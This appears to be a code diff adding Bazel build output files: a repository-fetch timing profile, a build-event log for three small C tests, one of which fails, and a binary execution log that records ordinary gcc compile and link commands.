{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6447498, "dur": 225173, "pid": 1, "tid": 782},
{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6673022, "dur": 169, "pid": 1, "tid": 782},
{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6679879, "dur": 199, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6680241, "dur": 2662, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6685054, "dur": 379, "pid": 1, "tid": 854},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_toolchain_config_repo", "ph": "X", "ts": 6685323, "dur": 5559, "pid": 1, "tid": 683},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685099, "dur": 6503, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_toolchain_config_repo", "ph": "X", "ts": 6684997, "dur": 6803, "pid": 1, "tid": 732},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_toolchain_config_repo", "ph": "X", "ts": 6685392, "dur": 6884, "pid": 1, "tid": 665},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6685115, "dur": 7208, "pid": 1, "tid": 856},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685367, "dur": 7550, "pid": 1, "tid": 670},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_toolchain_config_repo", "ph": "X", "ts": 6685324, "dur": 7597, "pid": 1, "tid": 768},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6684990, "dur": 8176, "pid": 1, "tid": 782},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685222, "dur": 8048, "pid": 1, "tid": 766},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685348, "dur": 8862, "pid": 1, "tid": 790},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685310, "dur": 8952, "pid": 1, "tid": 857},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685220, "dur": 9481, "pid": 1, "tid": 682},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685182, "dur": 9900, "pid": 1, "tid": 719},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685359, "dur": 9680, "pid": 1, "tid": 865},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685461, "dur": 9896, "pid": 1, "tid": 764},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_toolchain_config_repo", "ph": "X", "ts": 6685455, "dur": 11082, "pid": 1, "tid": 759},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6685164, "dur": 11410, "pid": 1, "tid": 762},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685111, "dur": 12321, "pid": 1, "tid": 869},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_toolchain_config_repo", "ph": "X", "ts": 6685202, "dur": 12282, "pid": 1, "tid": 851},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_toolchain_config_repo", "ph": "X", "ts": 6685107, "dur": 12890, "pid": 1, "tid": 767},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685095, "dur": 13732, "pid": 1, "tid": 866},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6685588, "dur": 13336, "pid": 1, "tid": 849},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_toolchain_config_repo", "ph": "X", "ts": 6685509, "dur": 13589, "pid": 1, "tid": 716},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_toolchain_config_repo", "ph": "X", "ts": 6685221, "dur": 13932, "pid": 1, "tid": 821},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_toolchain_config_repo", "ph": "X", "ts": 6685051, "dur": 16157, "pid": 1, "tid": 701},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685219, "dur": 16363, "pid": 1, "tid": 859},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6686285, "dur": 15952, "pid": 1, "tid": 850},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_toolchain_config_repo", "ph": "X", "ts": 6685288, "dur": 17582, "pid": 1, "tid": 731},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685099, "dur": 17808, "pid": 1, "tid": 714},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685225, "dur": 17968, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685222, "dur": 18683, "pid": 1, "tid": 863},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_windows_toolchain_config_repo", "ph": "X", "ts": 6685092, "dur": 19211, "pid": 1, "tid": 771},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_toolchain_config_repo", "ph": "X", "ts": 6685240, "dur": 19807, "pid": 1, "tid": 686},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_toolchain_config_repo", "ph": "X", "ts": 6685223, "dur": 19891, "pid": 1, "tid": 867},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_riscv64_toolchain_config_repo", "ph": "X", "ts": 6685270, "dur": 19975, "pid": 1, "tid": 770},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685383, "dur": 20945, "pid": 1, "tid": 734},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685358, "dur": 20992, "pid": 1, "tid": 852},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_toolchain_config_repo", "ph": "X", "ts": 6685366, "dur": 21318, "pid": 1, "tid": 838},
{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 6446582, "dur": 609243, "pid": 1, "tid": 700},
{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 7056087, "dur": 135, "pid": 1, "tid": 700},
{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7066480, "dur": 20, "pid": 1, "tid": 769},
{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7073352, "dur": 1303, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7074884, "dur": 448, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7076116, "dur": 215, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7076575, "dur": 912, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7077639, "dur": 562, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 6447628, "dur": 696061, "pid": 1, "tid": 784},
{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 7144348, "dur": 234, "pid": 1, "tid": 784},
{"cat": "Fetching repository", "name": "@@rules_python++uv+uv", "ph": "X", "ts": 7158611, "dur": 2966, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_python++python+pythons_hub", "ph": "X", "ts": 7251169, "dur": 7712, "pid": 1, "tid": 864},
{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7289289, "dur": 19, "pid": 1, "tid": 694},
{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7299107, "dur": 16, "pid": 1, "tid": 860},
{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7306163, "dur": 214, "pid": 1, "tid": 734},
{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7306477, "dur": 1491, "pid": 1, "tid": 734},
{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7308087, "dur": 2631, "pid": 1, "tid": 734},
{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7289673, "dur": 44756, "pid": 1, "tid": 694},
{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7334636, "dur": 163, "pid": 1, "tid": 694},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7430613, "dur": 18, "pid": 1, "tid": 784},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7430912, "dur": 285, "pid": 1, "tid": 784},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7431527, "dur": 37249, "pid": 1, "tid": 859},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7469049, "dur": 688, "pid": 1, "tid": 859},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7469907, "dur": 462, "pid": 1, "tid": 859},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7470561, "dur": 714698, "pid": 1, "tid": 859},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 8185888, "dur": 1894, "pid": 1, "tid": 859},
{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8206177, "dur": 16, "pid": 1, "tid": 865},
{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8207846, "dur": 202, "pid": 1, "tid": 858},
{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8208145, "dur": 1651, "pid": 1, "tid": 858}
]}

View file

@ -0,0 +1,12 @@
{"id": {"started": {}}, "started": {"uuid": "f2369dd1-2e00-4af2-8147-111452c04cce", "startTimeMillis": "1791360370092", "buildToolVersion": "9.2.0", "command": "test"}}
{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "41", "status": "PASSED", "testAttemptDuration": "0.041s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testSummary": {"label": "//:pass_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "totalNumCached": 1, "attemptCount": 1}}
{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "44", "status": "PASSED", "testAttemptDuration": "0.044s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 2, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 3, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testSummary": {"label": "//:sharded_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "totalNumCached": 3, "shardCount": 3, "attemptCount": 1}}
{"id": {"testResult": {"label": "//:flaky_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "36", "status": "FAILED", "testAttemptDuration": "0.036s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.036s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testSummary": {"label": "//:flaky_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "FAILED", "attemptCount": 1}}
{"id": {"buildFinished": {}}, "finished": {"finishTimeMillis": "1791360370833", "exitCode": {"name": "TESTS_FAILED", "code": 3}}}
{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "elapsed time", "contents": "MC43NDEwMDA="}, {"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMC4xMXMsIFJlbW90ZSAoMC4wMCUgb2YgdGhlIHRpbWUpOiBbcGFyc2U6IDAuMDAlLCBxdWV1ZTogMC4wMCUsIG5ldHdvcms6IDAuMDAlLCB1cGxvYWQ6IDAuMDAlLCBzZXR1cDogMC4wMCUsIHByb2Nlc3M6IDAuMDAlLCBmZXRjaDogMC4wMCUsIHJldHJ5OiAwLjAwJSwgcHJvY2Vzc091dHB1dHM6IDAuMDAlLCBvdGhlcjogMC4wMCUsIGlucHV0IGZpbGVzOiAwLCBpbnB1dCBieXRlczogMCwgbWVtb3J5IGJ5dGVzOiAwXQogIDAuMDhzIGFjdGlvbiAnVGVzdGluZyAvLzpmbGFreV90ZXN0JwogIDAuMDBzIHJ1bmZpbGVzIGZvciAvLzpmbGFreV90ZXN0CiAgMC4wMXMgYWN0aW9uICdMaW5raW5nIGZsYWt5X3Rlc3QnCiAgMC4wMXMgYWN0aW9uICdDb21waWxpbmcgbWFpbl9mYWlsLmMn"}, {"name": "process stats", "contents": "MjUgcHJvY2Vzc2VzOiAxNiBkaXNrIGNhY2hlIGhpdCwgMTMgaW50ZXJuYWwsIDEgcHJvY2Vzc3dyYXBwZXItc2FuZGJveC4="}, {"name": "command.profile.gz"}, {"name": "execution_log.binpb.zst"}]}}
{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "11020", "wallTimeInMs": "733", "analysisPhaseTimeInMs": "332", "executionPhaseTimeInMs": "386", "actionsExecutionStartInMs": "336", "criticalPathTime": "0.111170468s"}, "actionSummary": {"actionsCreated": "39", "actionsExecuted": "25", "runnerCount": [{"name": "total", "count": 25}, {"name": "disk cache hit", "count": 16, "execKind": "Remote"}, {"name": "internal", "count": 13}, {"name": "processwrapper-sandbox", "count": 1, "execKind": "Local"}], "actionCacheStatistics": {"misses": 25}, "actionData": [{"mnemonic": "TestRunner", "actionsExecuted": "5", "systemTime": "0.032s", "userTime": "0.004s", "actionsCreated": "15"}, {"mnemonic": "RepoMappingManifest", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "SymlinkTree", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "CppLink", "actionsExecuted": "3", "actionsCreated": "9"}, {"mnemonic": "SourceSymlinkManifest", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "RunfilesTree", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "CppCompile", "actionsExecuted": "3", "actionsCreated": "9"}, {"mnemonic": "BazelWorkspaceStatusAction", "actionsExecuted": "1", "actionsCreated": "2"}, {"mnemonic": "Genrule", "actionsExecuted": "1", "actionsCreated": "3"}, {"mnemonic": "TranslateBuildInfo", "actionsCreated": "6"}, {"mnemonic": "CcStrip", "actionsCreated": "9"}, {"mnemonic": "FileWrite", "actionsCreated": "9"}, {"mnemonic": "Symlink", "actionsCreated": "3"}, {"mnemonic": "ExecutableSymlink", "actionsCreated": "3"}]}, "packageMetrics": {"packagesLoaded": "90"}, "targetMetrics": {"targetsConfigured": "883"}, "networkMetrics": {"systemNetworkStats": {"bytesSent": "43171986", "bytesRecv": "146569473"}}}}

View file

@ -0,0 +1,567 @@
86
SHA-256_main"$f2369dd1-2e00-4af2-8147-111452c04cce€|
3external/bazel_tools/tools/genrule/genrule-setup.shE
@2138ccc4608e0a41291680587baced12bb80379b6924c3c4c2d9ef272f99139fâ2*rn
&bazel-out/k8-fastbuild/bin/gen_out.txtD
@5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03È:Å
/bin/bash
-c
osource external/bazel_tools/tools/genrule/genrule-setup.sh; echo hello > bazel-out/k8-fastbuild/bin/gen_out.txt$
PATH/bin:/usr/bin:/usr/local/bin 2(:
//:gen_outBGenruleZdisk cache hit`hpx‚E
@7bc5e991e8d71596d1042255f093ee1907c4614860ba7e1fe09ab6baf546c89b‘’!
€¤è"€’ôX†
`¢ ñú—Ö€µ·I§¢
Yexternal/rules_cc++cc_configure_extension+local_config_cc/builtin_include_directory_pathsE
@8f7db3657f51747bb67c70c3f9ba2678ff87f1670e1a572c81aeef79af40c1deê•<1A>
Gexternal/rules_cc++cc_configure_extension+local_config_cc/cc_wrapper.shE
@44de34ffa88565ff276fc5aa9971b262291db42cb486eb11cfece50454176d9b÷
Ÿš
Qexternal/rules_cc++cc_configure_extension+local_config_cc/deps_scanner_wrapper.shE
@d273dd7612f1b110942c32c7e74046f27926fd576395d7fce0f225784fd21a1bî¢<1A>
Texternal/rules_cc++cc_configure_extension+local_config_cc/validate_static_library.shE
@808d17e44d12a4e433a3f2d810760b641afce3714e44d350ba53ea7cf773dce8Õ
2*W S
main_fail.cD
@7b4bb8e34d20c4ec426e4770c2c8e808fea9f4c78893f9190b02c55e9f75e88b

2"* ‰ „
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.oE
@1b679cd82a4f53b030b31b689669f8e65c4c1e90c17f805078dd2a8edb7e0584Ð W S
main_pass.cD
@2ad75d95660563887d8d3f1d0ae1dcf18c2379cbd83a5c72f5ab276351ee6949
 2"* ˆƒ
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.dD
@082426df51ca02ea00b2382c7d7b1df16b38608090b3ce87f7c7634db459891cgˆƒ
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.oE
@e1a5f327ee544bac718e414feb417ee9e04d39e9b1276e54e7e8ab02d29323b5Ð Å:Â
/usr/bin/gcc
-U_FORTIFY_SOURCE
-fstack-protector
-Wall
-Wunused-but-set-parameter
-Wno-free-nonheap-object
-fno-omit-frame-pointer
-MD
-MF
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.d
I-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o
-fPIC
-iquote
.
-iquote
bazel-out/k8-fastbuild/bin
-iquote
external/rules_cc+
-iquote
-bazel-out/k8-fastbuild/bin/external/rules_cc+
-iquote
external/bazel_tools
-iquote
/bazel-out/k8-fastbuild/bin/external/bazel_tools
-c
main_fail.c
-o
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o
-fno-canonical-system-headers
-Wno-builtin-macro-redefined
-D__DATE__="redacted"
-D__TIMESTAMP__="redacted"
-D__TIME__="redacted"$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
2( 2(: //:flaky_testB
CppCompileZdisk cache hit`hpx‚E
@7db0318384af7d25cd261e60e27e11b0d098c735e707cba5d8236048e5bce944’’"
À¨¥"ÀŸ«Xö%`¢ ñú—ÖÀá‹­‡‚
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.dD
@2e8ca7b27e3234d03d277791f221f2662b3b7247afe26e933a69a3e4dd36e473fÁ:¾
/usr/bin/gcc
-U_FORTIFY_SOURCE
-fstack-protector
-Wall
-Wunused-but-set-parameter
-Wno-free-nonheap-object
-fno-omit-frame-pointer
-MD
-MF
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.d
H-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o
-fPIC
-iquote
.
-iquote
bazel-out/k8-fastbuild/bin
-iquote
external/rules_cc+
-iquote
-bazel-out/k8-fastbuild/bin/external/rules_cc+
-iquote
external/bazel_tools
-iquote
/bazel-out/k8-fastbuild/bin/external/bazel_tools
-c
main_pass.c
-o
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o
-fno-canonical-system-headers
-Wno-builtin-macro-redefined
-D__DATE__="redacted"
-D__TIMESTAMP__="redacted"
-D__TIME__="redacted"$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd 2(2(: //:pass_testB
CppCompileZdisk cache hit`hpx‚E
@edafc7f3d7eb8e1f73b94703ab903cd05556b98b31a5922b2439528943cbc311’’"
À¨¥"€›îXö%`¢ ñú—ÖÀØ‘¬‡‚
:external/rules_cc+/cc/private/toolchain/build_interface_soD
@ca1c6c1ec88d12130f9d59bf6b1a9d0a81cf407c586c515717c2de63dc63a80bu<>ˆ
?external/rules_cc+/cc/private/toolchain/link_dynamic_library.shE
@410914e519a1d309961ba77f4549a8c92da307ce1f596c10f8284da904b17a77<10> 2"*
2"* {w
.bazel-out/k8-fastbuild/bin/flaky_test-0.paramsE
@c577fe96cce31d4eea72ffbb6d7aa46945f0c984f907f3be440b2d575396cc06 
2"*
2"*zv
-bazel-out/k8-fastbuild/bin/pass_test-0.paramsE
@1c4343b244ba16563979291c4538e0c3eaad825d8f3c544062a69a6a939af671ž
2"*rn
%bazel-out/k8-fastbuild/bin/flaky_testE
@674a99e83e5c4ed8beafe2af4d7b0ac254838e7f05e1c5c9cc9010cfe8a2dd78¨0qm
$bazel-out/k8-fastbuild/bin/pass_testE
@d26a879186fed4dc742a5c000a7ab235b0a1009c0d291006150806c5c8015409¨0¬:©
/usr/bin/gcc
.@bazel-out/k8-fastbuild/bin/pass_test-0.params$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
ZERO_AR_DATE1 2(: //:pass_testBCppLinkZdisk cache hit`hpx‚E
@40a597b9bccac093484d0c5f4e3afa0f6cc312bd363a2dac74c8ef6e269d344d’’
À±ŸXÝZ`¢ ñú—Ö€£ÌÁ®:«
/usr/bin/gcc
/@bazel-out/k8-fastbuild/bin/flaky_test-0.params$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
ZERO_AR_DATE1 2(: //:flaky_testBCppLinkZdisk cache hit`hpx‚E
@4894cc5cc7eba8d833a50277c20d3f8ca3e8d632ad4de6ec97ba0d469d36c578’’
€­âXáZ`¢ ñú—Ö€µÀÃYU
main_shard.cE
@7cfaebd87ccc933f629e4c77aad22d17d9372fb0845f98c99613e71df0028098ù
2"*Œ‡
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.oE
@0d35f7d26f0b4af9e7b916c3905b7283fa2021551639d8a9ec079027d9a2c380° Œ‡
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.dE
@f66abbbe9d483307c493d0cf1ab6809bf6aa64da7e155a7ba6e83ac66e976286®Ê:Ç
/usr/bin/gcc
-U_FORTIFY_SOURCE
-fstack-protector
-Wall
-Wunused-but-set-parameter
-Wno-free-nonheap-object
-fno-omit-frame-pointer
-MD
-MF
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.d
L-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o
-fPIC
-iquote
.
-iquote
bazel-out/k8-fastbuild/bin
-iquote
external/rules_cc+
-iquote
-bazel-out/k8-fastbuild/bin/external/rules_cc+
-iquote
external/bazel_tools
-iquote
/bazel-out/k8-fastbuild/bin/external/bazel_tools
-c
main_shard.c
-o
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o
-fno-canonical-system-headers
-Wno-builtin-macro-redefined
-D__DATE__="redacted"
-D__TIMESTAMP__="redacted"
-D__TIME__="redacted"$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd 2(2(://:sharded_testB
CppCompileZdisk cache hit`hpx‚E
@ecb953f2ab45730fa4a7a8d72dac46d1a42af9563bdf7a599c6d3fca1f3add26’’
€­âXÔ'`¢ ñú—ÖÀž<C380>Á 2*}!Ry
-bazel-out/k8-fastbuild/bin/pass_test.runfiles 2FD
@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026az"v
-external/bazel_tools/tools/test/test-setup.shE
@49ba08927c3c556c52c6f771eaca362a0dbd1b6e19fd2667c61d92c33a32278aåt|#x
/external/bazel_tools/tools/test/generate-xml.shE
@368e50ceca617b237c60adf70105cf6e1d33427f232c78239a3e7c10a4d93ebfí' $2*!"#<%"8
6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsÃ:À
-external/bazel_tools/tools/test/test-setup.sh
./pass_test>
JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$
PATH/bin:/usr/bin:/usr/local/bin@
PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles=
RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./pass_testi
TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek
TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs]
TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely
TEST_SIZEmedium<
TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
TEST_TARGET //:pass_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66br
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj
